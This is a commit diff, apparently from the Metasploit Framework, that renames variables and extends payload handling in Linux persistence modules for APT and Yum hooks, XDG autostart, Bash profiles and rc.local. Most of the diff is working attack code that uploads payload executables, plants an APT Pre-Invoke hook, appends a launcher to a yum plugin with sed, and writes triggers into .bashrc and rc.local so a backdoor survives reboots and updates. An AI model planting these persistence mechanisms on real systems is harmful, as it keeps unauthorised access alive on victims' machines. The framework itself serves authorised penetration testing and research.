Skip to content

Commit fd7b7cb

Browse files
committed
linux persistence standardize variable names, write cmd payloads to backdoored files
1 parent 64a3911 commit fd7b7cb

File tree

8 files changed

+73
-52
lines changed

8 files changed

+73
-52
lines changed

documentation/modules/exploit/linux/persistence/apt_package_manager.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ When the system runs `apt-get update` the payload will launch.
1919

2020
## Options
2121

22-
### BACKDOOR_NAME
22+
### PAYLOAD_NAME
2323

2424
Name of backdoor executable. Defaults to a random name
2525

documentation/modules/exploit/linux/persistence/bash_profile.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ Verified on Ubuntu 22.04 and 18.04 desktop with Gnome
2222

2323
The path to the target Bash profile. Defaults to `.bashrc`
2424

25-
### BACKDOOR_NAME
25+
### PAYLOAD_NAME
2626

2727
Name of the payload file. Defaults to random
2828

documentation/modules/exploit/linux/persistence/yum_package_manager.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@ When the system runs yum update the payload will launch. You must set handler a
2121

2222
## Options
2323

24-
### BACKDOOR_NAME
24+
### PAYLOAD_NAME
2525

2626
Name of backdoor executable
2727

modules/exploits/linux/persistence/apt_package_manager.rb

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -83,18 +83,19 @@ def install_persistence
8383
if payload.arch.first == 'cmd'
8484
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload.encoded} 2>/dev/null &"};)
8585
else
86-
backdoor_path = datastore['WritableDir']
87-
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
88-
backdoor_path << backdoor_name
89-
write_file(backdoor_path, generate_payload_exe)
90-
fail_with Failure::Unknown, "Failed to write #{backdoor_path}" unless exist?(backdoor_path)
91-
print_status("Backdoor uploaded #{backdoor_path}")
86+
payload_path = datastore['WritableDir']
87+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
88+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
89+
payload_path << payload_name
90+
write_file(payload_path, generate_payload_exe)
91+
fail_with Failure::Unknown, "Failed to write #{payload_path}" unless exist?(payload_path)
92+
print_status("Backdoor uploaded #{payload_path}")
9293
# permissions chosen to reflect common perms in /usr/local/bin/
93-
chmod(backdoor_path, 0o755)
94+
chmod(payload_path, 0o755)
9495

9596
print_status('Attempting to write hook')
96-
hook_script = %(APT::Update::Pre-Invoke {"setsid #{backdoor_path} 2>/dev/null &"};)
97-
@clean_up_rc << "rm #{backdoor_path}\n"
97+
hook_script = %(APT::Update::Pre-Invoke {"setsid #{payload_path} 2>/dev/null &"};)
98+
@clean_up_rc << "rm #{payload_path}\n"
9899
end
99100
write_file(datastore['HOOKPATH'], hook_script)
100101

modules/exploits/linux/persistence/autostart.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -107,20 +107,20 @@ def install_persistence
107107
if payload.arch.first == 'cmd'
108108
write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
109109
else
110-
backdoor_path = datastore['WritableDir']
111-
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
112-
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
113-
backdoor_path << backdoor_name
114-
print_status("Uploading payload file to #{backdoor_path}")
115-
upload_and_chmodx backdoor_path, generate_payload_exe
116-
write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
117-
@clean_up_rc << "rm #{backdoor_path}\n"
110+
payload_path = datastore['WritableDir']
111+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
112+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
113+
payload_path << payload_name
114+
print_status("Uploading payload file to #{payload_path}")
115+
upload_and_chmodx payload_path, generate_payload_exe
116+
write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
117+
@clean_up_rc << "rm #{payload_path}\n"
118118
end
119119

120120
if whoami != user
121121
cmd_exec("chown #{user}:#{user} #{path}")
122122
unless payload.arch.first == 'cmd'
123-
cmd_exec("chown #{user}:#{user} #{backdoor_path}")
123+
cmd_exec("chown #{user}:#{user} #{payload_path}")
124124
end
125125
end
126126

modules/exploits/linux/persistence/bash_profile.rb

Lines changed: 30 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local
99
include Msf::Post::File
1010
include Msf::Post::Unix
1111
include Msf::Auxiliary::Report
12+
include Msf::Exploit::EXE # for generate_payload_exe
1213
include Msf::Post::Linux::User
1314
include Msf::Exploit::Local::Persistence
1415
prepend Msf::Exploit::Remote::AutoCheck
@@ -31,9 +32,21 @@ def initialize(info = {})
3132
'Author' => [
3233
'Michael Long <bluesentinel[at]protonmail.com>'
3334
],
35+
'Payload' => {
36+
'BadChars' => '#%\n"'
37+
},
3438
'DisclosureDate' => '1989-06-08', # First public release of Bourne Again Shell
3539
'Platform' => ['unix', 'linux'],
36-
'Arch' => ARCH_CMD,
40+
'Arch' => [
41+
ARCH_CMD,
42+
ARCH_X86,
43+
ARCH_X64,
44+
ARCH_ARMLE,
45+
ARCH_AARCH64,
46+
ARCH_PPC,
47+
ARCH_MIPSLE,
48+
ARCH_MIPSBE
49+
],
3750
'SessionTypes' => ['meterpreter', 'shell'],
3851
'Targets' => [
3952
['Automatic', {}]
@@ -94,20 +107,26 @@ def install_persistence
94107
backup_profile_path = store_loot("desktop.#{datastore['BASH_PROFILE'].split('/').last}", 'text/plain', session, backup_profile, datastore['BASH_PROFILE'].split('/').last, 'bash profile backup')
95108
print_status("Created backup Bash profile: #{backup_profile_path}")
96109

97-
# upload persistent payload to target and make executable (chmod 700)
98-
backdoor_path = datastore['WritableDir']
99-
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
100-
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
101-
backdoor_path << backdoor_name
102-
upload_and_chmodx(backdoor_path, payload.encoded)
103-
104-
# write payload trigger to Bash profile
105-
exec_payload_string = "#{backdoor_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
110+
if payload.arch.first == 'cmd'
111+
pload = payload.encoded
112+
pload = pload.sub(/&$/, '') # remove trailing & since we add it later
113+
exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
114+
else
115+
# upload persistent payload to target and make executable (chmod 700)
116+
payload_path = datastore['WritableDir']
117+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
118+
payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
119+
payload_path << payload_name
120+
upload_and_chmodx(payload_path, generate_payload_exe)
121+
122+
# write payload trigger to Bash profile
123+
exec_payload_string = "#{payload_path} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
124+
end
106125
append_file(ppath, exec_payload_string)
107126
vprint_status('Created Bash profile persistence')
108127
print_good('Payload will be triggered when target opens a Bash terminal')
109128

110-
@clean_up_rc << "rm #{backdoor_path}\n"
129+
@clean_up_rc << "rm #{payload_path}\n"
111130
@clean_up_rc << "upload #{backup_profile_path} #{ppath}"
112131
end
113132
end

modules/exploits/linux/persistence/rc_local.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -98,14 +98,14 @@ def install_persistence
9898
rc_local << "\n#{pload}\nexit 0\n"
9999
print_status "Patching #{rc_path}"
100100
else
101-
backdoor_path = datastore['WritableDir']
102-
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
103-
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
104-
backdoor_path << backdoor_name
105-
print_status("Uploading payload file to #{backdoor_path}")
106-
upload_and_chmodx backdoor_path, generate_payload_exe
107-
rc_local << "\n#{backdoor_path} &\nexit 0\n"
108-
@clean_up_rc << "rm #{backdoor_path}\n"
101+
payload_path = datastore['WritableDir']
102+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
103+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
104+
payload_path << payload_name
105+
print_status("Uploading payload file to #{payload_path}")
106+
upload_and_chmodx payload_path, generate_payload_exe
107+
rc_local << "\n#{payload_path} &\nexit 0\n"
108+
@clean_up_rc << "rm #{payload_path}\n"
109109
end
110110

111111
# write new file

modules/exploits/linux/persistence/yum_package_manager.rb

Lines changed: 13 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,7 @@ def initialize(info = {})
6161
[
6262
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
6363
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
64-
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
64+
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
6565
]
6666
)
6767

@@ -115,13 +115,14 @@ def install_persistence
115115
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"
116116

117117
# check for write in backdoor path and set/generate backdoor name
118-
backdoor_path = datastore['WritableDir']
119-
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
120-
backdoor_path << backdoor_name
118+
payload_path = datastore['WritableDir']
119+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
120+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
121+
payload_path << payload_name
121122

122123
# check for sed binary and then append launcher to plugin underneath
123124
print_status('Attempting to modify plugin')
124-
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
125+
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
125126
sed_path = cmd_exec 'command -v sed'
126127
unless sed_path.include?('sed')
127128
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
@@ -131,18 +132,18 @@ def install_persistence
131132

132133
# actually write users payload to be executed then check for write
133134
if payload.arch.first == 'cmd'
134-
write_file(backdoor_path, payload.encoded)
135+
write_file(payload_path, payload.encoded)
135136
else
136-
write_file(backdoor_path, generate_payload_exe)
137+
write_file(payload_path, generate_payload_exe)
137138
end
138-
@clean_up_rc << "rm #{backdoor_path}\n"
139-
unless exist? backdoor_path
140-
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
139+
@clean_up_rc << "rm #{payload_path}\n"
140+
unless exist? payload_path
141+
fail_with Failure::Unknown, "Failed to write #{payload_path}"
141142
end
142143

143144
# change perms to reflect bins in /usr/local/bin/, give good feels
144-
chmod(backdoor_path, 0o755)
145-
print_status("Backdoor uploaded to #{backdoor_path}")
145+
chmod(payload_path, 0o755)
146+
print_status("Backdoor uploaded to #{payload_path}")
146147
print_good('Backdoor will run on next Yum update')
147148
end
148149
end

0 commit comments

Comments
 (0)